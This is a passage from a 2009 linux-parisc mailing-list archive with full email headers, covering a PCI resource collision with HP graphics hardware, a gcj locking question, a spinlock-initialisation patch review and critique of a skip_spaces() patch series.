> >     f2004000-f20043ff : sym53c8xx
> >   f2005000-f20053ff : 0000:00:0f.0
> >     f2005000-f20053ff : sym53c8xx
> >   f2006000-f2006fff : 0000:00:0e.2
> >   f2007000-f2007fff : 0000:00:0e.2
> >     f2007000-f2007fff : ohci_hcd
> >   f2008000-f20083ff : 0000:00:0c.0
> >     f2008000-f20083ff : tulip
> >   f2009000-f200900f : 0000:00:0d.0
> >   f200a000-f200a00f : 0000:00:0d.0
> >   f200b000-f200b00f : 0000:00:0d.0
> >   f200c000-f200c1ff : 0000:00:0d.0
> >   f2040000-f207ffff : 0000:00:0c.0
> > f2400000-f27fffff : PCI01 LMMIO
> >   f2400000-f240ffff : 0000:01:04.0
> > f3000000-f33fffff : PCI02 LMMIO
> >   f3000000-f3003fff : 0000:02:01.0
> >   f3004000-f300407f : 0000:02:03.0
> >     f3004000-f300407f : tulip
> >   f3040000-f307ffff : 0000:02:03.0
> > f3800000-f3bfffff : PCI03 LMMIO
> >   f3800000-f39fffff : 0000:03:02.0
> > f6000000-f7ffffff : PCI03 ELMMIO
> >   f6000000-f7ffffff : 0000:03:02.0
> > f9000000-f9ffffff : PCI01 ELMMIO
> >   f9000000-f9ffffff : 0000:01:05.0
> 
> I suspect how these are parented has changed.
> IIRC, Astro already "owns" this resource - but they aren't PCI devices.
> I don't recall offhand how the resource is (if at all) advertised and
> which Elroy's can even claim specific MMIO ranges.
> 
> If the "fb at f6000000 (32 MB)" is coming from the PCI03 Elroy, then
> you can be sure the MMIO resource is not being advertised correctly.
> But the output below suggests its from PCI bus 1 (== PCI01 ? need to check).
> 
> hth,
> grant
> 
> > fed00000-fed00fff : 10
> > fed30000-fed30fff : 10:0
> > fed32000-fed32fff : 10:1
> > fed38000-fed38fff : 10:4
> > fed3c000-fed3cfff : 10:6
> > fef00000-feffffff : Astro Intr Ack
> > fff80000-fffaffff : Central Bus
> >   fffa0000-fffa0fff : 32
> > fffb0000-fffdffff : Local Broadcast
> > fffe0000-ffffffff : Global Broadcast
> >
> >
> >
> >>> ...
> >>> STI GSC/PCI core graphics driver Version 0.9a
> >>> sti 0000:01:04.0: device not available because of BAR 0 [0xfa000000-0xfbffffff] collisions
> >>> sti 0000:01:04.0: Cannot enable PCI device
> >>> 			^^^ HERE
> >>> sti: probe of 0000:01:04.0 failed with error -22
> >>> STI PCI graphic ROM found at f3800000 (2048 kB), fb at f6000000 (32 MB)
> >>>      id 35acda30-9a02587, conforms to spec rev. 8.0d
> >>>      graphics card name: A1262A
> >>> sticon: Initializing STI text console.
> >>> Console: switching to colour STI console 128x48
> >>> stifb: 'A1262A' (id: 0x35acda30) not supported.
> >>> Linux agpgart interface v0.103
> >>> ....
> >>>
> >>> Hopefully someone of you has an idea what caused this change?
> >>
> >> The automatic resource parenting code has changed a few times back
> >> and forth over the last 2-3 major releases. I've lost track
> >> but suspect it's probably easier to just look at what the
> >> LBA range registers say (set up by PDC) and then get the PCI subsystem
> >> to advertise those resources in a reasonable way.
> >
> > How can I see/check the LBA range registers?
> > Where is the advertising done?
> > Sorry, but I have no clue about PCI/LBA/Elroy/... ?
> >
> >> TBH, I'd rather spent a few hours this weekend debugging the PCI-PCI bridge
> >> support on PAT machines.
> >
> > Understood.
> > Any hints or untested patches would be great though...
> >
> >> hth,
> >> grant
> >
> > Thanks,
> > Helge
> >
> >
> >>
> >>>
> >>> lspci reports:
> >>> 01:04.0 Display controller: Hewlett-Packard Company A4977A Visualize EG (rev 03)
> >>>          Flags: 66MHz, medium devsel
> >>>          Memory at fa000000 (32-bit, non-prefetchable) [size=32M]
> >>>          Expansion ROM at f2400000 [disabled] [size=64K]
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Out of order unwind entry warning
Date: Sat, 7 Nov 2009 15:11:17 -0500
Lines: 16
Approved: news@gmane.org
Message-ID: <20091107201117.GA28962@bombadil.infradead.org>
References: <4AF0A8FB.2000504@gmx.de> <20091104005737.0E4674FB2@hiauly1.hia.nrc.ca> <20091106230742.GA16061@p100.box>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1257624691 30556 80.91.229.12 (7 Nov 2009 20:11:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 7 Nov 2009 20:11:31 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
	linux-parisc@vger.kernel.org, Kyle McMartin <kyle@mcmartin.ca>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Nov 07 21:11:24 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1N6rd5-0004Gk-Af
	for glpp-linux-parisc@lo.gmane.org; Sat, 07 Nov 2009 21:11:23 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752399AbZKGULQ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 7 Nov 2009 15:11:16 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752654AbZKGULQ
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 7 Nov 2009 15:11:16 -0500
Original-Received: from bombadil.infradead.org ([18.85.46.34]:53962 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752399AbZKGULQ (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 7 Nov 2009 15:11:16 -0500
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.69 #1 (Red Hat Linux))
	id 1N6rcz-0003LX-Ck; Sat, 07 Nov 2009 20:11:17 +0000
Content-Disposition: inline
In-Reply-To: <20091106230742.GA16061@p100.box>
User-Agent: Mutt/1.5.19 (2009-01-05)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2308
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2308>

On Sat, Nov 07, 2009 at 12:07:42AM +0100, Helge Deller wrote:
> Kyle, I see you applied my original patch into your "next" tree already:
> http://git.kernel.org/?p=linux/kernel/git/kyle/parisc-2.6.git;a=commit;h=b8d46862d910c3be7c28c627204da968c174aa9a
> 
> Do you want me to send you a new patch against your "next" tree instead?

It's ok, I'll just revert that one and apply this one on top of it.

Punch me if I haven't gotten around to this by Monday.

cheers, Kyle
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:08 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa
Subject: gcj port to hppa...
Date: Sat, 7 Nov 2009 16:48:42 -0500
Lines: 22
Approved: news@gmane.org
Message-ID: <119aab440911071348t16198843q37757d25dc6a4691@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
X-Trace: ger.gmane.org 1257630534 13028 80.91.229.12 (7 Nov 2009 21:48:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 7 Nov 2009 21:48:54 +0000 (UTC)
To: linux-parisc <linux-parisc@vger.kernel.org>,
	Debian HPPA Port List <debian-hppa@lists.debian.org>,
	John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Nov 07 22:48:47 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1N6t9K-0005Eb-PP
	for glpp-linux-parisc@lo.gmane.org; Sat, 07 Nov 2009 22:48:47 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753316AbZKGVsk (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 7 Nov 2009 16:48:40 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753299AbZKGVsk
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 7 Nov 2009 16:48:40 -0500
Original-Received: from mail-bw0-f227.google.com ([209.85.218.227]:47668 "EHLO
	mail-bw0-f227.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753259AbZKGVsj (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 7 Nov 2009 16:48:39 -0500
Original-Received: by bwz27 with SMTP id 27so2293694bwz.21
        for <linux-parisc@vger.kernel.org>; Sat, 07 Nov 2009 13:48:44 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:sender:received:date
         :x-google-sender-auth:message-id:subject:from:to:content-type;
        bh=aFYbKIFqi2zI/5vHKqAkimrJiQ8gdms/WrK8Iak0alg=;
        b=h6KEuixIItKb/zQREqWqckmYLCWwbKQcPzM9eRYHWFEL3uFS6R7Ps8pSICE7mwgpLa
         Ol/wbTdk+xKa/sfsbimIVcEE0AwvsFFc7JtN3AVpDIcvBDv+zipHJPul8iho5qlbD95E
         MMm+aTXPr3tiXzU7/o1ypjj2dYVOYNJtLfsYg=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:date:x-google-sender-auth:message-id:subject
         :from:to:content-type;
        b=SlZ+U9f/sbNs2GUulwsRVQNpUc2/cHKxFw2/pUBYCM68SGT1ToWuMooBZ2azFxoG4h
         JUYeJIo29k5ZeqcsPAlc4oibUXQrhXfH+/QqiElwkVA/c1Fry7bON1EzbyzhQP/4Id1m
         D/9jUnTcd0yqVNBImzcM5Gk4HpBB95M26+drQ=
Original-Received: by 10.204.13.204 with SMTP id d12mr6506892bka.61.1257630524093; Sat, 
	07 Nov 2009 13:48:44 -0800 (PST)
X-Google-Sender-Auth: 125546b0e2e30bc3
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2309 gmane.linux.debian.ports.hppa:6101
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2309>

Dave,

The gcj port to hppa uses a locking implementation
(libjava/sysdeps/pa/locks.h) which is not signal safe.

The assembly can be interrupted by a signal which if it calls
compare_and_swap again will deadlock. However, I can't tell if this
will ever happen.

The fix for this is to port the lock implementation to use the
light-weight in-kernel compare-and-swap, which is thread-safe and
signal-safe. However, this is only available for Linux.

Does locks.h also need to work for HPUX?

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [patch 10/16] parisc: Replace old style lock init
Date: Sun, 8 Nov 2009 00:06:14 -0500
Lines: 50
Approved: news@gmane.org
Message-ID: <20091108050614.GB28962@bombadil.infradead.org>
References: <20091106223547.784916750@linutronix.de> <20091106223806.803538964@linutronix.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1257656818 559 80.91.229.12 (8 Nov 2009 05:06:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 8 Nov 2009 05:06:58 +0000 (UTC)
Cc: LKML <linux-kernel@vger.kernel.org>, Ingo Molnar <mingo@elte.hu>,
	Peter Zijlstra <peterz@infradead.org>,
	Kyle McMartin <kyle@mcmartin.ca>, linux-parisc@vger.kernel.org
To: Thomas Gleixner <tglx@linutronix.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Nov 08 06:06:50 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1N6zzD-0007eM-At
	for glpp-linux-parisc@lo.gmane.org; Sun, 08 Nov 2009 06:06:47 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750696AbZKHFGO (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 8 Nov 2009 00:06:14 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1750749AbZKHFGO
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 8 Nov 2009 00:06:14 -0500
Original-Received: from bombadil.infradead.org ([18.85.46.34]:47931 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1749667AbZKHFGN (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 8 Nov 2009 00:06:13 -0500
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.69 #1 (Red Hat Linux))
	id 1N6zyg-0008KF-Q7; Sun, 08 Nov 2009 05:06:14 +0000
Content-Disposition: inline
In-Reply-To: <20091106223806.803538964@linutronix.de>
User-Agent: Mutt/1.5.19 (2009-01-05)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2310 gmane.linux.kernel:911084
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2310>

On Fri, Nov 06, 2009 at 10:41:51PM -0000, Thomas Gleixner wrote:
> SPIN_LOCK_UNLOCKED is deprecated. Init the per cpu locks at runtime
> instead.
> 
> Signed-off-by: Thomas Gleixner <tglx@linutronix.de>
> Cc: Kyle McMartin <kyle@mcmartin.ca>
> Cc: linux-parisc@vger.kernel.org

applied with one nit.

>  
> -DEFINE_SPINLOCK(smp_lock);
> -

You forgot to mention this was unused. :) Confused me for a while.

cheers, Kyle

>  volatile struct task_struct *smp_init_current_idle_task;
>  
>  /* track which CPU is booting */
> @@ -69,7 +67,7 @@ static volatile int cpu_now_booting __cp
>  
>  static int parisc_max_cpus __cpuinitdata = 1;
>  
> -DEFINE_PER_CPU(spinlock_t, ipi_lock) = SPIN_LOCK_UNLOCKED;
> +static DEFINE_PER_CPU(spinlock_t, ipi_lock);
>  
>  enum ipi_message_type {
>  	IPI_NOP=0,
> @@ -438,6 +436,11 @@ void __init smp_prepare_boot_cpu(void)
>  */
>  void __init smp_prepare_cpus(unsigned int max_cpus)
>  {
> +	int cpu;
> +
> +	for_each_possible_cpu(cpu)
> +		spin_lock_init(&per_cpu(ipi_lock, cpu));
> +
>  	init_cpu_present(cpumask_of(0));
>  
>  	parisc_max_cpus = max_cpus;
> 
> 
> 
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thomas Gleixner <tglx@linutronix.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [patch 10/16] parisc: Replace old style lock init
Date: Sun, 8 Nov 2009 17:11:52 +0100 (CET)
Lines: 28
Approved: news@gmane.org
Message-ID: <alpine.LFD.2.00.0911081710560.2725@localhost.localdomain>
References: <20091106223547.784916750@linutronix.de> <20091106223806.803538964@linutronix.de> <20091108050614.GB28962@bombadil.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1257696745 26279 80.91.229.12 (8 Nov 2009 16:12:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 8 Nov 2009 16:12:25 +0000 (UTC)
Cc: LKML <linux-kernel@vger.kernel.org>, Ingo Molnar <mingo@elte.hu>,
	Peter Zijlstra <peterz@infradead.org>,
	linux-parisc@vger.kernel.org
To: Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Nov 08 17:12:17 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1N7ANE-0003hy-Ce
	for glpp-linux-parisc@lo.gmane.org; Sun, 08 Nov 2009 17:12:16 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753901AbZKHQMJ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 8 Nov 2009 11:12:09 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754010AbZKHQMJ
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 8 Nov 2009 11:12:09 -0500
Original-Received: from www.tglx.de ([62.245.132.106]:41147 "EHLO www.tglx.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753901AbZKHQMI (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sun, 8 Nov 2009 11:12:08 -0500
Original-Received: from localhost (www.tglx.de [127.0.0.1])
	by www.tglx.de (8.13.8/8.13.8/TGLX-2007100201) with ESMTP id nA8GBpd8021919
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO);
	Sun, 8 Nov 2009 17:11:53 +0100
In-Reply-To: <20091108050614.GB28962@bombadil.infradead.org>
User-Agent: Alpine 2.00 (LFD 1167 2008-08-23)
X-Virus-Scanned: clamav-milter 0.95.1 at www.tglx.de
X-Virus-Status: Clean
X-Spam-Status: No, score=-1.7 required=5.0 tests=ALL_TRUSTED,AWL
	autolearn=failed version=3.2.4
X-Spam-Checker-Version: SpamAssassin 3.2.4 (2008-01-01) on www.tglx.de
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2311 gmane.linux.kernel:911280
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2311>

On Sun, 8 Nov 2009, Kyle McMartin wrote:

> On Fri, Nov 06, 2009 at 10:41:51PM -0000, Thomas Gleixner wrote:
> > SPIN_LOCK_UNLOCKED is deprecated. Init the per cpu locks at runtime
> > instead.
> > 
> > Signed-off-by: Thomas Gleixner <tglx@linutronix.de>
> > Cc: Kyle McMartin <kyle@mcmartin.ca>
> > Cc: linux-parisc@vger.kernel.org
> 
> applied with one nit.
> 
> >  
> > -DEFINE_SPINLOCK(smp_lock);
> > -
> 
> You forgot to mention this was unused. :) Confused me for a while.

Gah. Wanted to add it to the changelog, but slipped from my mind.

Sorry for the confusion,

	tglx
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.file-systems.cachefs.general,gmane.linux.kernel.device-mapper.devel,gmane.linux.acpi.ibm-acpi.devel,gmane.comp.security.firewalls.netfilter.devel,gmane.comp.file-systems.ext4,gmane.linux.alsa.devel,gmane.linux.uml.devel,gmane.linux.raid,gmane.linux.uml.user,gmane.linux.ports.parisc,gmane.linux.network,gmane.linux.kernel,gmane.comp.security.firewalls.netfilter.general
Subject: Re: [dm-devel] [PATCH v4 00/12] introduce
 skip_spaces(), reducing code size plus some clean-ups
Date: Sun, 08 Nov 2009 10:05:03 -0600
Lines: 44
Approved: news@gmane.org
Message-ID: <1257696303.4184.8.camel@mulgrave.site>
References: <cover.1257602781.git.andre.goddard@gmail.com>
Reply-To: Linux filesystem caching discussion list <linux-cachefs@redhat.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1257705231 17531 80.91.229.12 (8 Nov 2009 18:33:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 8 Nov 2009 18:33:51 +0000 (UTC)
Cc: Pavel Roskin <proski@gnu.org>,
	Stefan Haberland <stefan.haberland@de.ibm.com>,
	Jan Kara <jack@suse.cz>, linux-cachefs@redhat.com,
	Mike Snitzer <snitzer@redhat.com>, Neil Brown <neilb@suse.de>,
	Frederic Weisbecker <fweisbec@gmail.com>,
	Jens Axboe <jens.axboe@oracle.com>,
	Heiko Carstens <heiko.carstens@de.ibm.com>,
	"James E . J . Bottomley" <jejb@parisc-linux.org>,
	ibm-acpi-devel@lists.sourceforge.net, Chr,
	Julia Lawall <julia@diku.dk>, "H . Peter Anvin" <hpa@zytor.com>,
	Daire Byrne <Daire.Byrne@framestore.com>,
	Alasdair G Kergon <agk@redhat.com>, Greg Banks <gnb@melbourne.sgi.com>,
	Stefan Weinhuber <wein@de.ibm.com>,
	Eric Sandeen <sandeen@redhat.com>, Adam Belay <abelay@mit.edu>,
	netfilter-devel@vger.kernel.org, Helge Deller <deller@gmx.de>,
	x86@kernel.org, James Morris <jmorris@namei.org>,
	Takashi Iwai <tiwai@suse.de>, Ingo Molnar <mingo@redhat.com>,
	Alan Cox <alan@l
To: device-mapper development <dm-devel@redhat.com>
Original-X-From: linux-cachefs-bounces@redhat.com Sun Nov 08 19:33:30 2009
Return-path: <linux-cachefs-bounces@redhat.com>
Envelope-to: glc-linux-cachefs@gmane.org
Original-Received: from hormel1.redhat.com ([209.132.177.33] helo=hormel.redhat.com)
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1N7CZs-0007yq-6Q
	for glc-linux-cachefs@gmane.org; Sun, 08 Nov 2009 19:33:28 +0100
Original-Received: from listman.util.phx.redhat.com (listman.util.phx.redhat.com [10.8.4.110])
	by hormel.redhat.com (Postfix) with ESMTP id 3B9CA618FE7;
	Sun,  8 Nov 2009 13:33:26 -0500 (EST)
Original-Received: from int-mx01.intmail.prod.int.phx2.redhat.com
	(nat-pool.util.phx.redhat.com [10.8.5.200])
	by listman.util.phx.redhat.com (8.13.1/8.13.1) with ESMTP id
	nA8G5RJc003711; Sun, 8 Nov 2009 11:05:27 -0500
Original-Received: from mx1.redhat.com (ext-mx10.extmail.prod.ext.phx2.redhat.com
	[10.5.110.14])
	by int-mx01.intmail.prod.int.phx2.redhat.com (8.13.8/8.13.8) with ESMTP
	id nA8G5OOK009198; Sun, 8 Nov 2009 11:05:24 -0500
Original-Received: from bedivere.hansenpartnership.com (bedivere.hansenpartnership.com
	[66.63.167.143])
	by mx1.redhat.com (8.13.8/8.13.8) with ESMTP id nA8G5Omh006339;
	Sun, 8 Nov 2009 11:05:24 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id CF8888EE118; 
	Sun,  8 Nov 2009 08:05:23 -0800 (PST)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id tFVAxESQxChk; Sun,  8 Nov 2009 08:05:23 -0800 (PST)
Original-Received: from [192.168.10.224] (newmulgrave.ext.hansenpartnership.com
	[192.168.10.224])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id CCB708EE105; 
	Sun,  8 Nov 2009 08:05:08 -0800 (PST)
In-Reply-To: <cover.1257602781.git.andre.goddard@gmail.com>
X-RedHat-Spam-Score: -0.4  (AWL)
X-Scanned-By: MIMEDefang 2.67 on 10.5.11.11
X-Scanned-By: MIMEDefang 2.67 on 10.5.110.14
X-loop: linux-cachefs@redhat.com
X-Mailman-Approved-At: Sun, 08 Nov 2009 13:33:22 -0500
X-BeenThere: linux-cachefs@redhat.com
X-Mailman-Version: 2.1.5
Precedence: junk
List-Id: Linux filesystem caching discussion list <linux-cachefs.redhat.com>
List-Unsubscribe: <https://www.redhat.com/mailman/listinfo/linux-cachefs>,
	<mailto:linux-cachefs-request@redhat.com?subject=unsubscribe>
List-Archive: <https://www.redhat.com/archives/linux-cachefs>
List-Post: <mailto:linux-cachefs@redhat.com>
List-Help: <mailto:linux-cachefs-request@redhat.com?subject=help>
List-Subscribe: <https://www.redhat.com/mailman/listinfo/linux-cachefs>,
	<mailto:linux-cachefs-request@redhat.com?subject=subscribe>
Original-Sender: linux-cachefs-bounces@redhat.com
Errors-To: linux-cachefs-bounces@redhat.com
Xref: news.gmane.org gmane.linux.file-systems.cachefs.general:2434 gmane.linux.kernel.device-mapper.devel:10452 gmane.linux.acpi.ibm-acpi.devel:1973 gmane.comp.security.firewalls.netfilter.devel:31510 gmane.comp.file-systems.ext4:16326 gmane.linux.alsa.devel:68256 gmane.linux.uml.devel:12270 gmane.linux.raid:25266 gmane.linux.uml.user:13661 gmane.linux.ports.parisc:2312 gmane.linux.network:142938 gmane.linux.kernel:911329 gmane.comp.security.firewalls.netfilter.general:38498
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2312>

On Sat, 2009-11-07 at 13:16 -0200, Andr=C3=A9 Goddard Rosa wrote:
> This patch reduces lib.a code size by 173 bytes on my Core 2 with gcc 4=
.4.1
> even considering that it exports a newly defined function skip_spaces()
> to drivers:
>    text    data     bss     dec     hex filename                       =
   =20
>   64867     840     592   66299   102fb (TOTALS-lib.a-before)
>   64954     584     588   66126   1024e (TOTALS-lib.a-after)
> and implements some code tidy up.
>=20
> Besides reducing lib.a size, it converts many in-tree drivers to use th=
e
> newly defined function, which makes another small reduction on kernel s=
ize
> overall when those drivers are used.

Before we embark on something as massive as this, could we take a step
back.  I agree that if I were coming up with the strstip() interface
today I probably wouldn't have given it two overloaded uses.

However, I think the function, in spite of this minor issue, is very
usable.  I still don't understand why people thought adding a
__must_check, which is what damaged one of the overloaded uses, is a
good idea.

Assuming there's a good answer to the above:

> + * skip_spaces - Removes leading whitespace from @s.
> + * @s: The string to be stripped.
> + *
> + * Returns a pointer to the first non-whitespace character in @s.
> + */
> +const char *skip_spaces(const char *str)

I don't think const return is a good idea because most functions will be
manipulating the string and using pointers that won't be const, so this
will generate a ton of 'initialization discards qualifiers from pointer
target type' ... so that leads to the question of whether this patch
series was actually compiled ...

James



From - Thu Nov 08 21:05:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?ISO-8859-1?Q?Andr=E9_Goddard_Rosa?= <andre.goddard@gmail.com>
Newsgroups: gmane.linux.file-systems.cachefs.general,gmane.linux.acpi.ibm-acpi.devel,gmane.linux.kernel.device-mapper.devel,gmane.comp.security.firewalls.netfilter.devel,gmane.comp.file-systems.ext4,gmane.linux.alsa.devel,gmane.linux.uml.devel,gmane.linux.raid,gmane.linux.uml.user,gmane.linux.ports.parisc,gmane.linux.network,gmane.linux.kernel,gmane.comp.security.firewalls.netfilter.general
Subject: Re: [dm-devel] [PATCH v4 00/12] introduce
	skip_spaces(), reducing code size plus some clean-ups
Date: Sun, 8 Nov 2009 14:52:18 -0200
Lines: 46
Approved: news@gmane.org
Message-ID: <b8bf37780911080852l10d11f4ele5bf6a6aed94c5fe@mail.gmail.com>
References: <cover.1257602781.git.andre.goddard@gmail.com> 
	<1257696303.4184.8.camel@mulgrave.site>
Reply-To: Linux filesystem caching discussion list <linux-cachefs@redhat.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1257705233 17538 80.91.229.12 (8 Nov 2009 18:33:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 8 Nov 2009 18:33:53 +0000 (UTC)
Cc: Pavel Roskin <proski@gnu.org>,
	Stefan Haberland <stefan.haberland@de.ibm.com>,
	Jan Kara <jack@suse.cz>, linux-cachefs@redhat.com,
	Mike Snitzer <snitzer@redhat.com>, Neil Brown <neilb@suse.de>,
	Frederic Weisbecker <fweisbec@gmail.com>,
	Jens Axboe <jens.axboe@oracle.com>,
	Heiko Carstens <heiko.carstens@de.ibm.com>,
